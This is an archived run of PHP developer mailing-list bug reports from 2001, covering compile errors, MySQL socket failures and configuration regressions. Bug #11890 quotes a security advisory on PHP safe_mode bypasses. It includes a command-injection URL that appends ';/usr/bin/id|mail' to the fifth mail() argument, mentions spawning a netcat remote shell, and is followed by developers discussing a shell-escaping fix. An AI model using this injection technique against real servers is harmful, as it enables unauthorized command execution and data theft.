--enable-static --localstatedir=/usr/local/mysqlc/var --with-libwrap=/usr 
--with-mysqld-user=mysqlc --with-unix-socket-path=/usr/local/mysqlc/var/mysql.sock 
--with-tcp-port=3306 --without-bench --without-mit-threads


Error returned:

Warning: Can't connect to local MySQL server through socket 
'/usr/local/mysqlc/var/mysql.sock' (13) in /home/www/k/kheos.net/test.php on line 3

Warning: MySQL Connection Failed: Can't connect to local MySQL server through socket 
'/usr/local/mysqlc/var/mysql.sock' (13) in /home/www/k/kheos.net/test.php on line 3


Script that returned the error:




By the way, if someone would care to write a patch for:
http://www.php.net/bugs.php?id=11767
I'd appreciate it cause i got poor C skills  ;p

---

The remainder of the comments for this report are too long.
To view the rest of the comments, please
view the bug report online.

Full Bug description available at: http://bugs.php.net/?id=11863


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11863 Updated: Cannot connect to mysql server

2001-07-04 Thread veins


ID: 11863
User Update by: [EMAIL PROTECTED]
Status: Open
Bug Type: MySQL related
Operating system: Unix
PHP Version: 4.0.6
Description: Cannot connect to mysql server

By the way, i've been testing a few things and php will connect to the database if i 
trick it into using tcp connection instead of socket connection and using LAN ip 
address instead of 'localhost' or loopback IP address.

Won't work:


Won't work either:


Works (when i define sql to be LAN ip address of server):



Previous Comments:
---

[2001-07-04 15:41:18] [EMAIL PROTECTED]

of course  ;)

http://www.kheos.net/info.php

I'm making it right now so by the time you see this post it'll be available.

Best regards,
Veins

---

[2001-07-04 13:35:14] [EMAIL PROTECTED]

Hello,

can you make a page with  available to us?

Derick

---

[2001-07-03 16:44:53] [EMAIL PROTECTED]

Yeah, the server is actually running as i can connect to it from console. The socket 
is set srwxrwxrwx so it is also ok i presume.
The exact same configuration used to work with php-4.0.5 :/

---

[2001-07-03 16:41:17] [EMAIL PROTECTED]

Yeah, the server is actually running as i can connect to it from console. The socket 
is set srwxrwxrwx so it is also ok i presume.
The exact same configuration used to work with php-4.0.5 :/

---

[2001-07-03 16:32:07] [EMAIL PROTECTED]

It works fine here. Are you sure MySQl is actually running, and are the permissions on 
the socket correct?

Derick

---

The remainder of the comments for this report are too long.
To view the rest of the comments, please
view the bug report online.

Full Bug description available at: http://bugs.php.net/?id=11863


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11889: string.c broken

2001-07-04 Thread cnewbill


From: [EMAIL PROTECTED]
Operating system: RedHat Linux 7.0
PHP version:  4.0 Latest CVS (2001-07-04)
PHP Bug Type: Compile Failure
Bug description:  string.c broken

string.c: In function `php_minit_nl_langinfo':
string.c:280: `ERA_YEAR' undeclared (first use in this function)
string.c:280: (Each undeclared identifier is reported only once
string.c:280: for each function it appears in.)
string.c:285: `INT_CURR_SYMBOL' undeclared (first use in this function)
string.c:292: `MON_DECIMAL_POINT' undeclared (first use in this function)
string.c:293: `MON_THOUSANDS_SEP' undeclared (first use in this function)
string.c:294: `MON_GROUPING' undeclared (first use in this function)
string.c:295: `POSITIVE_SIGN' undeclared (first use in this function)
string.c:296: `NEGATIVE_SIGN' undeclared (first use in this function)
string.c:297: `INT_FRAC_DIGITS' undeclared (first use in this function)
string.c:298: `FRAC_DIGITS' undeclared (first use in this function)
string.c:299: `P_CS_PRECEDES' undeclared (first use in this function)
string.c:300: `P_SEP_BY_SPACE' undeclared (first use in this function)
string.c:301: `N_CS_PRECEDES' undeclared (first use in this function)
string.c:302: `N_SEP_BY_SPACE' undeclared (first use in this function)
string.c:303: `P_SIGN_POSN' undeclared (first use in this function)
string.c:304: `N_SIGN_POSN' undeclared (first use in this function)
string.c:317: `GROUPING' undeclared (first use in this function)

Looking at CVS, this looks to be the handy work of Wez Furlong about 10 hours ago.

-Chris



-- 
Edit Bug report at: http://bugs.php.net/?id=11889&edit=1



-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11890: linux exploitable

2001-07-04 Thread dannyb


From: [EMAIL PROTECTED]
Operating system: linux
PHP version:  4.0.5
PHP Bug Type: *General Issues
Bug description:  linux exploitable


- Original Message -
From: "Joost Pol" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Saturday, June 30, 2001 1:40 PM
Subject: php breaks safe mode


> Laberatoire Contempt
>
> Date : 12/06/2001
> Author   : Joost Pol alias 'Nohican' ([EMAIL PROTECTED])
> Impact   : Minor in most cases.
>
> Subject  : PHP safe_mode troubles.
>
> 1. PHP Version 4.0.5 breaks safe-mode.
>
>  1.0 - Description of the problem
>
>   An extra 5th parameter was added to the mail() command breaking
safemode:
>
>   - snippet of the code in mail.c (lines 156-165)
>
>   if (extra_cmd != NULL) {
>sendmail_cmd=emalloc(strlen(sendmail_path)+strlen(extra_cmd)+2);
>strcpy (sendmail_cmd, sendmail_path);
>strcat (sendmail_cmd, " ");
>strcat (sendmail_cmd, extra_cmd);
>} else
 sendmail_cmd = sendmail_path;   }
>sendmail = popen(sendmail_cmd,
  }  }
>
>   - end of code snippet
>
>   The popen() function is the C library function popen(3).
>
>   An attacker could easily upload a simple evil.php script containing:
>
>   
>
>   Then the script could be invoked using a simple query like:
>
>   http://foo.com/evil.php?bar=;/usr/bin/id|mail [EMAIL PROTECTED]
>
>  1.1 Impact
>
>   Well, first of all it renders an important part of safe_mode useless.
>
>   Two examples come to mind:
>
>1.1.1 Example 1
>
> A customer has bougt some web space from a provider and is given only
> ftp access to upload his files. The customer is not supposed to have
> shell access nor view files outside of his home directory.
>
> The customer could easily upload and compile a "lite" version of the
> popular netcat tool (cd /usr/ports/*/netcat;make clean;make&&make
install) and spawn him self a remote shell on the hosting boxen.
>
> If something like suexec is not used by the provider, the shell
spawned
> could in fact be a "nobody" (uid of webserver) shell. This could make
> the situation even worse.
>
> Situations where (virtual) hosting machines are used in a host-based
> authentication scheme, i am not even willing to *consider*.
>
>1.1.2 Example 2
>
> A customer has bought some web space from a provider and was given
> a shell account on the hosting boxen.
>
> If something similiar to suexec is not running the customer could
spawn
> him self a nobody (www, web, uid of webserver) shell. (1.1.1)
>
> The impact of this varies on a per setup/provider basis.
>
> Most providers just dont *expect* someone to have a shell with the uid
> of the webserver on the hosting box.
>
> "Internal" scripts, database schemes and database password are
commonly
> (but sadly) left owned by the uid/gid of the webserver. These become
> vulnerable.
>
> Even webserver configuration files (httpd.conf) and *complete*
webserver
> roots owned by the uid/gid of the webserver have been observed in
> the wild.
>
> Experience learns that when unexepected-nobody access is gained on a
> (virtual) hosting machine "bad" things are bound to happen sooner or
later.
>
>  1.2 - Solution
>
>Well, obviously just a "slip" of the PHP-team.
>
>5th argument to mail() should not be honored in safe_mode. (MHO)
>
>
> 2. PHP Version 4.0.5/4.0.4pl1 SOMETIMES breaks safe_mode.
>
>
>  2.0 - Description of the problem
>
>   PHP safe_mode has the nice feature of disallowing the opening/reading
>   and writing to files that are not owned by the uid that the script
>   is owned by.
>
>   Though using some "common sense" it still is possible to open/read
>   and write to files that are owned by the uid the webserver is
>   running as.
>
>   *notice* assuming that something like suexec is not in place */notice*
>
>   An attacker could upload a simple script that does the following:
>
>  $cmd = '';
> error_log($cmd,3,"/path/to/user/wwwspace/nobody.php");
>   ?>
>
>   For example, assuming that the error_log is owned by the webserver it
>   could be read using a simple query:
>
>   http://foo.bar/~user/nobody.php?foo=/path/to/webserver/logs/access_log
>
>  2.1 - Impact
>
>   Depends on the setup of the hosting box.
>
>   If suexec or something similiar is used, impact is nihil.
>
>   See also 1.1.1/1.1.2
>
>  2.3 - Solution
>
>   Disallow the changing of the error_log location in safe_mode?
>
>   Not really for me to say, the PHP-team will come with something good.
>
>   Notice: just changing the error_log function wont do, you could also
>   change the ini setting error_log (or another ini setting
>   that has a similiar effect).
>
>   These ini settings can be set from a user script since they
>   all have PHP_INI_ALL perimissions.
>
>   Maybe disallow setting of ini variables in safemode?
>
> EOF
>
> --
> Joost Pol alias 'Nohican' <[EMAIL PROTECTED]

[PHP-DEV] Bug #11890 Updated: linux exploitable

2001-07-04 Thread zak


ID: 11890
Updated by: zak
Reported By: [EMAIL PROTECTED]
Old-Status: Open
Status: Bogus
Bug Type: *General Issues
Operating system: 
PHP Version: 4.0.5
Assigned To: 
Comments:

Please check the existing bugs before posting a new one!

Previous Comments:
---

[2001-07-04 16:24:21] [EMAIL PROTECTED]


- Original Message -
From: "Joost Pol" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Saturday, June 30, 2001 1:40 PM
Subject: php breaks safe mode


> Laberatoire Contempt
>
> Date : 12/06/2001
> Author   : Joost Pol alias 'Nohican' ([EMAIL PROTECTED])
> Impact   : Minor in most cases.
>
> Subject  : PHP safe_mode troubles.
>
> 1. PHP Version 4.0.5 breaks safe-mode.
>
>  1.0 - Description of the problem
>
>   An extra 5th parameter was added to the mail() command breaking
safemode:
>
>   - snippet of the code in mail.c (lines 156-165)
>
>   if (extra_cmd != NULL) {
>sendmail_cmd=emalloc(strlen(sendmail_path)+strlen(extra_cmd)+2);
>strcpy (sendmail_cmd, sendmail_path);
>strcat (sendmail_cmd, " ");
>strcat (sendmail_cmd, extra_cmd);
>} else
 sendmail_cmd = sendmail_path;   }
>sendmail = popen(sendmail_cmd,
  }  }
>
>   - end of code snippet
>
>   The popen() function is the C library function popen(3).
>
>   An attacker could easily upload a simple evil.php script containing:
>
>   
>
>   Then the script could be invoked using a simple query like:
>
>   http://foo.com/evil.php?bar=;/usr/bin/id|mail [EMAIL PROTECTED]
>
>  1.1 Impact
>
>   Well, first of all it renders an important part of safe_mode useless.
>
>   Two examples come to mind:
>
>1.1.1 Example 1
>
> A customer has bougt some web space from a provider and is given only
> ftp access to upload his files. The customer is not supposed to have
> shell access nor view files outside of his home directory.
>
> The customer could easily upload and compile a "lite" version of the
> popular netcat tool (cd /usr/ports/*/netcat;make clean;make&&make
install) and spawn him self a remote shell on the hosting boxen.
>
> If something like suexec is not used by the provider, the shell
spawned
> could in fact be a "nobody" (uid of webserver) shell. This could make
> the situation even worse.
>
> Situations where (virtual) hosting machines are used in a host-based
> authentication scheme, i am not even willing to *consider*.
>
>1.1.2 Example 2
>
> A customer has bought some web space from a provider and was given
> a shell account on the hosting boxen.
>
> If something similiar to suexec is not running the customer could
spawn
> him self a nobody (www, web, uid of webserver) shell. (1.1.1)
>
> The impact of this varies on a per setup/provider basis.
>
> Most providers just dont *expect* someone to have a shell with the uid
> of the webserver on the hosting box.
>
> "Internal" scripts, database schemes and database password are
commonly
> (but sadly) left owned by the uid/gid of the webserver. These become
> vulnerable.
>
> Even webserver configuration files (httpd.conf) and *complete*
webserver
> roots owned by the uid/gid of the webserver have been observed in
> the wild.
>
> Experience learns that when unexepected-nobody access is gained on a
> (virtual) hosting machine "bad" things are bound to happen sooner or
later.
>
>  1.2 - Solution
>
>Well, obviously just a "slip" of the PHP-team.
>
>5th argument to mail() should not be honored in safe_mode. (MHO)
>
>
> 2. PHP Version 4.0.5/4.0.4pl1 SOMETIMES breaks safe_mode.
>
>
>  2.0 - Description of the problem
>
>   PHP safe_mode has the nice feature of disallowing the opening/reading
>   and writing to files that are not owned by the uid that the script
>   is owned by.
>
>   Though using some "common sense" it still is possible to open/read
>   and write to files that are owned by the uid the webserver is
>   running as.
>
>   *notice* assuming that something like suexec is not in place */notice*
>
>   An attacker could upload a simple script that does the following:
>
>  $cmd = '';
> error_log($cmd,3,"/path/to/user/wwwspace/nobody.php");
>   ?>
>
>   For example, assuming that the error_log is owned by the webserver it
>   could be read using a simple query:
>
>   http://foo.bar/~user/nobody.php?foo=/path/to/webserver/logs/access_log
>
>  2.1 - Impact
>
>   Depends on the setup of the hosting box.
>
>   If suexec or something similiar is used, impact is nihil.
>
>   See also 1.1.1/1.1.2
>
>  2.3 - Solution
>
>   Disallow the changing of the error_log location in safe_mode?
>
>   Not really for me to say, the PHP-team will come with something good.
>
>   Notice: just changing the error_l

[PHP-DEV] Bug #11891: error_reporting option broken/changed

2001-07-04 Thread vejrum


From: [EMAIL PROTECTED]
Operating system: Linux (Cobalt RaQ3)
PHP version:  4.0.6
PHP Bug Type: PHP options/info functions
Bug description:  error_reporting option broken/changed

With PHP 4.0.1 this worked fine - warnings for undefined variables were not displayed:
error_reporting = E_ALL & ~E_NOTICE

With PHP 4.0.6 this does not seem to work anymore - warnings for undefined variables 
are now displayed - and same result with:
error_reporting = E_ALL & ~E_NOTICE

I only seem to be able to get rid of the warnings for undefined variables by not 
displaying errors at all:
display_errors  =   Off



-- 
Edit Bug report at: http://bugs.php.net/?id=11891&edit=1



-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11891 Updated: error_reporting option broken/changed

2001-07-04 Thread vejrum


ID: 11891
User Update by: [EMAIL PROTECTED]
Status: Open
Bug Type: PHP options/info functions
Operating system: Linux (Cobalt RaQ3)
PHP Version: 4.0.6
Description: error_reporting option broken/changed

Argh - "and same result with:" should be:
error_reporting = E_COMPILE_ERROR|E_ERROR|E_CORE_ERROR


Previous Comments:
---

[2001-07-04 16:36:08] [EMAIL PROTECTED]

With PHP 4.0.1 this worked fine - warnings for undefined variables were not displayed:
error_reporting = E_ALL & ~E_NOTICE

With PHP 4.0.6 this does not seem to work anymore - warnings for undefined variables 
are now displayed - and same result with:
error_reporting = E_ALL & ~E_NOTICE

I only seem to be able to get rid of the warnings for undefined variables by not 
displaying errors at all:
display_errors  =   Off


---


Full Bug description available at: http://bugs.php.net/?id=11891


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] Bug #11881: undefined function: getservbyname()

2001-07-04 Thread Daniel Beulshausen

At 19:22 04.07.2001 +0200, [EMAIL PROTECTED] wrote:
>Hello List,
>
>can the person who build the PHP for windows shed some light on this (and

well, it's because the needed constants aren't defined :)
looks like in 4.0.5 there was no need to define HAVE_GETSERVBYNAME in order 
to enable getservbyname(), however this was changed an noone updated 
config.w32.h.
one can add HAVE_GETSERVBYNAME, HAVE_GETSERVBYPORT, HAVE_GETPROTOBYNAME and 
HAVE_GETPROTOBYNUMBER to config.w32.h to enable those functions.
winsock has all those socket functions.

>on the problems with the bundle libPDF (beta expired) ?

http://www.pdflib.com/pdflib/patches.html

daniel

/*--
daniel beulshausen - [EMAIL PROTECTED]
searching job: application development with php
using php on windows? http://www.php4win.de

-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11853 Updated: unknown option -l-l

2001-07-04 Thread php


ID: 11853
User Update by: [EMAIL PROTECTED]
Old-Status: Feedback
Status: Open
Bug Type: Compile Failure
Operating system: Suse Linux 7.0
PHP Version: 4.0.6
Description: unknown option -l-l

look in line 2 of the last comment
--with apxs --with-mysql
php 4.0.5 compiled with these options

Previous Comments:
---

[2001-07-04 07:38:02] [EMAIL PROTECTED]

Again:
What is your configure line?
Like: ./configure --boo=far 

Derick

---

[2001-07-04 07:34:52] [EMAIL PROTECTED]

make-script compiled all sub-dirs and changes to php-4.0.6-dir. but nothing could be 
compiled.
(configure was started with --with-apxs --with-mysql, php4.0.5 compiled with these 
options)

output: /usr/bin/ld: cannot find -l-l

this is documented in debug.log too:

LIBS: -l -l -l -lcrypt -lresolv -lm -ldl -lnsl -lresolv

gcc -o conftest -g -O2 -DEAPI_MM -DLINUX2 -DMOD-SSL=206105 -DUSEHSREGEX -DEAPI 
-DUSE_EXPAT -DSUPPORT_UTF8 conftest.c $LIBS
and the error-message from above

I tried to delete -l -l -l in configure.vars.mk, but it did'nt help.
Perhaps you have an idea.

Thanx

---

[2001-07-03 05:55:43] [EMAIL PROTECTED]

What is your configure line?

Derick

---

[2001-07-03 05:53:58] [EMAIL PROTECTED]

make-script  compiled all sub-dirs and changes to php-4.0.6. but nothing could be 
compiled - output: /usr/bin/ld: cannot find -l-l

this is documented in debug.log too:

LIBS: -l -l -l -lcrypt -lresolv -lm -ldl -lnsl -lresolv

gcc -o conftest -g -O2 -DEAPI_MM -DLINUX2 -DMOD-SSL=206105 -DUSEHSREGEX -DEAPI 
-DUSE_EXPAT -DSUPPORT_UTF8 conftest.c $LIBS
and the error-message from above

I tried to delete -l -l -l in configure.vars.mk, but it did'nt help.
Perhaps you have an idea.
Thanx

---


Full Bug description available at: http://bugs.php.net/?id=11853


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11878 Updated: DATE /TIME constants

2001-07-04 Thread cmv


ID: 11878
Updated by: cmv
Reported By: [EMAIL PROTECTED]
Status: Open
Bug Type: Feature/Change Request
Operating system: 
PHP Version: 4.0.6
Assigned To: 
Comments:

What's wrong with using filemtime(__FILE__) ?

You can also use fileatime() and filectime().

Previous Comments:
---

[2001-07-04 09:51:49] [EMAIL PROTECTED]

Could it be possible to add __DATE__ and __TIME__ 
constants ?
They could containt the last modified date/time of the 
calling script.

Thank you for your great job!


---



ATTENTION! Do NOT reply to this email!
To reply, use the web interface found at http://bugs.php.net/?id=11878&edit=2


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] Bug #11890 Updated: linux exploitable

2001-07-04 Thread Derick Rethans


Hello Zak,

regarding this problem with the mail() function, I have a fix here where
the 5th parameter will be shell escaped (with php_shell_escape_cmd()). I
didn't commit it yet (because of ISP troubles), but if nobody thinks this
is a bad idea, I'll commit it tomorrow.

Derick


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] Bug #11890 Updated: linux exploitable

2001-07-04 Thread Zak Greant


Derick wrote:

> Hello Zak,
> 
> regarding this problem with the mail() function, I have a fix here where
> the 5th parameter will be shell escaped (with php_shell_escape_cmd()). I
> didn't commit it yet (because of ISP troubles), but if nobody thinks this
> is a bad idea, I'll commit it tomorrow.

Hey Derick,

Excellent! :)

Should we be using php_escape_shell_arg() instead of 
php_escape_shell_cmd()?

As I understand it, php_escape_shell_arg() is the simpler and more
robust of the two functions.

--zak


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11874 Updated:

2001-07-04 Thread jeroen


ID: 11874
Updated by: jeroen
Reported By: [EMAIL PROTECTED]
Old-Status: Feedback
Status: Open
Old-Bug Type: Scripting Engine problem
Bug Type: Documentation problem
Operating system: 
PHP Version: Any
Assigned To: 
Comments:

The script way of inline-ing php only works with

, and nothing else (no other attributes).

This is a speed issue: Zend doesn't implement a whole html-parser just to support 
this... in only accepts whiteshace difference and case-diffs.

There is no use for this too, since it will *not* be send to the browser. (RTFM on 
'What it PHP': a preprocessor)

Documentation should be more clear on this, so changed to an open documention bug.

For the documenter: may add example that the context is not important? (i.e.  works)

Previous Comments:
---

[2001-07-04 13:26:27] [EMAIL PROTECTED]

I don't get what you are meaning here. Can you add an example of a whole line of both 
cases (one with the error, and one that works)?

Derick

---

[2001-07-04 07:31:00] [EMAIL PROTECTED]

The attribute 'content' inside 'http://bugs.php.net/?id=11874&edit=2


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11892: crypt gone without a trace

2001-07-04 Thread msopacua


From: [EMAIL PROTECTED]
Operating system: BSD
PHP version:  4.0.6
PHP Bug Type: *Encryption and hash functions
Bug description:  crypt gone without a trace

Any call to crypt() creates an empty string. Downgrade to 4.0.5 fixes the problem.

I also tried putting the '4.0.5' crypt.c in the '4.0.6' build and recompiled after a 
make clean, but that didn't make a difference.




-- 
Edit Bug report at: http://bugs.php.net/?id=11892&edit=1



-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #9549 Updated: Add Note problem

2001-07-04 Thread jeroen

ID: 9549 Updated by: jeroen Reported By: [EMAIL PROTECTED] Old-Status: Open Status: Bogus Bug Type: Documentation problem Operating system: PHP Version: 4.0.4pl1 Assigned To: Comments: This is not a PHP-bug, but a website bug. Send to [EMAIL PROTECTED] if still valid. Previous Comments: --- [2001-03-04 13:26:02] [EMAIL PROTECTED] In reference to your Add Note code on the annotatated PHP pages: The current set of note restrictions is actually too limiting and a little more effort need to be focused on what's allowable in a user submitted note. A) I had a very small snipped of PHP code I was trying to include, however preceeding spaces of the indentation were trimmed out, and thus the context was completely lost. My code sample suffered when ... would have resolved it. B) A line in my code read as echo "$valuen"; however this caused the line to break. Allowing or at the very end of a line would be appropiate to do the logical break. C) I tried entering in "$value

n" instead, only the ampersands were literally translated. Thus there was no way to express the actual literal that was needed. The solution seems to lie in more rigourous parsing -or- creating a special stripped down meta-markup. In all cases, a "I'm including a code snippet, please express the content literally, without translation, and preserving spaces" would solve the problem. A possible solution, instead of all HTML tags, allow just ... . The defined behavior is that all characters, including spaces and line brakes and angle brackets and ampersands are included as-is. An open code must be followed by a close code, and they can not be nested. If the note doesn't conform to that, do not allow it to be submitted. ...hope this helps! --- ATTENTION! Do NOT reply to this email! To reply, use the web interface found at http://bugs.php.net/?id=9549&edit=2 -- PHP Development Mailing List To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11893: array_intersect doesn't handle multidimensional arrays correctly

2001-07-04 Thread michael


From: [EMAIL PROTECTED]
Operating system: Linux, FreeBSD, OpenBSD (Any?)
PHP version:  4.0.6
PHP Bug Type: Arrays related
Bug description:  array_intersect doesn't handle multidimensional arrays correctly

michael@zaphod:~>php

X-Powered-By: PHP/4.0.6
Content-type: text/html

array(3) {
  [0]=>
  array(2) {
[0]=>
int(1)
[1]=>
string(1) "a"
  }
  [1]=>
  array(2) {
[0]=>
int(2)
[1]=>
string(1) "b"
  }
  [2]=>
  array(2) {
[0]=>
int(3)
[1]=>
string(1) "c"
  }
}

The same thing happens in 4.0.5.

For comparison 4.0.4pl1-Output (and as I expect it to be):

X-Powered-By: PHP/4.0.4pl1
Content-type: text/html

array(2) {
  [0]=>
  array(2) {
[0]=>
int(1)
[1]=>
string(1) "a"
  }
  [1]=>
  array(2) {
[0]=>
int(2)
[1]=>
string(1) "b"
  }
}



-- 
Edit Bug report at: http://bugs.php.net/?id=11893&edit=1



-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11894: want posix_getgrent() function

2001-07-04 Thread a . genkin


From: [EMAIL PROTECTED]
Operating system: Solaris 8/sparc
PHP version:  4.0.6
PHP Bug Type: Feature/Change Request
Bug description:  want posix_getgrent() function

I need to iterate over entries in /etc/group with PHP running in safe mode.  A 
posix_getgrent() function would make my life a lot easier (I have to make a local copy 
of the group file with a cron job right now).

Many thanks,
--
Arcady Genkin


-- 
Edit Bug report at: http://bugs.php.net/?id=11894&edit=1



-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11889 Updated: string.c broken


ID: 11889
Updated by: sniper
Reported By: [EMAIL PROTECTED]
Old-Status: Open
Status: Closed
Bug Type: Compile Failure
Operating system: 
PHP Version: 4.0 Latest CVS (2001-07-04)
Assigned To: 
Comments:

works for me just fine.


Previous Comments:
---

[2001-07-04 16:15:02] [EMAIL PROTECTED]

string.c: In function `php_minit_nl_langinfo':
string.c:280: `ERA_YEAR' undeclared (first use in this function)
string.c:280: (Each undeclared identifier is reported only once
string.c:280: for each function it appears in.)
string.c:285: `INT_CURR_SYMBOL' undeclared (first use in this function)
string.c:292: `MON_DECIMAL_POINT' undeclared (first use in this function)
string.c:293: `MON_THOUSANDS_SEP' undeclared (first use in this function)
string.c:294: `MON_GROUPING' undeclared (first use in this function)
string.c:295: `POSITIVE_SIGN' undeclared (first use in this function)
string.c:296: `NEGATIVE_SIGN' undeclared (first use in this function)
string.c:297: `INT_FRAC_DIGITS' undeclared (first use in this function)
string.c:298: `FRAC_DIGITS' undeclared (first use in this function)
string.c:299: `P_CS_PRECEDES' undeclared (first use in this function)
string.c:300: `P_SEP_BY_SPACE' undeclared (first use in this function)
string.c:301: `N_CS_PRECEDES' undeclared (first use in this function)
string.c:302: `N_SEP_BY_SPACE' undeclared (first use in this function)
string.c:303: `P_SIGN_POSN' undeclared (first use in this function)
string.c:304: `N_SIGN_POSN' undeclared (first use in this function)
string.c:317: `GROUPING' undeclared (first use in this function)

Looking at CVS, this looks to be the handy work of Wez Furlong about 10 hours ago.

-Chris


---



ATTENTION! Do NOT reply to this email!
To reply, use the web interface found at http://bugs.php.net/?id=11889&edit=2


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #9775 Updated: libmcrypt-2.4.9 causes random segmentation faults

2001-07-04 Thread old . wolf


ID: 9775
User Update by: [EMAIL PROTECTED]
Status: Closed
Bug Type: Reproducible crash
Operating system: Red Hat 6.0 (2.2.5-15) i586
PHP Version: 4.0.4pl1
Description: libmcrypt-2.4.9 causes random segmentation faults

With 2.4.9, the faults still occur (even with --enable-debug), but with 2.4.15, 
everything appears to be stable.



Previous Comments:
---

[2001-07-03 04:54:40] [EMAIL PROTECTED]

Please try the latest version of libmcrypt. If it still
cores, reopen this report.

Derick

---

[2001-06-10 21:32:11] [EMAIL PROTECTED]

I think derick fixed this one.. can you try latest CVS please.

- James

---

[2001-05-01 03:27:56] [EMAIL PROTECTED]

I can reproduce this on my own system, both thtough PHP and with a C-program. As the 
author of libmcrypt cannot reproduce this, I'll suspend this bug until I know more 
about it.

---

[2001-04-16 07:10:58] [EMAIL PROTECTED]

I committed the fix for the memleak, but the crash is most likely a problem in 
libmcrypt, because I had those some things when running a C program which uses these 
functions. The author of libmcrypt says this can be a problem in different versions of 
libltdl, but I had the same problem with both the 1.2 and 2.0 versions. I'm awaiting 
further response from Nikos now.

---

[2001-04-16 05:30:50] [EMAIL PROTECTED]

Derick Ill assign this one to you so you remember it.. you said you had a fix.

- James

---

The remainder of the comments for this report are too long.
To view the rest of the comments, please
view the bug report online.

Full Bug description available at: http://bugs.php.net/?id=9775


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11895: total crash of PHP

2001-07-04 Thread tigger


From: [EMAIL PROTECTED]
Operating system: win2k
PHP version:  4.0.6
PHP Bug Type: ODBC related
Bug description:  total crash of PHP

an ODBC query that takes a long time to excute (> 30 sec)
will crash php and requires apache to restart. This is when
loading php as an apache modual or as a CGI

apache 1.3.20 (win2k)
php 4.0.6 (win2k)
SQL2000 (win2k)

The SQL2000 database has over 30 million records and is
performing a scan (on indexed records)

I'm more than willing to test code or help out to fix this btw


-- 
Edit Bug report at: http://bugs.php.net/?id=11895&edit=1



-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11896: Installation problem

2001-07-04 Thread michaelkhut


From: [EMAIL PROTECTED]
Operating system: Windows ME
PHP version:  4.0.6
PHP Bug Type: Unknown/Other Function
Bug description:  Installation problem

I have downloaded and installed the PHP installer from ther webpage but when I run my 
PHP scripts, I can't view any of it in my browser? Have I done something wrong? Do I 
need to add a module or something? I have followed the instructions and it was suppose 
to automatically configure it for me if I just choose my operating system.


-- 
Edit Bug report at: http://bugs.php.net/?id=11896&edit=1



-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11897: Curl

2001-07-04 Thread webmaster


From: [EMAIL PROTECTED]
Operating system: Red Hat 6.2
PHP version:  4.0.6
PHP Bug Type: Apache related
Bug description:  Curl

I am writting you because I have compilled curl version 7.8 with the following options 
"--disable-ipv6 --with-openssl=/usr/include/openssl --prefix=/usr/local/include/curl". 
I have also compilled PHP to have "--with-openssl and 
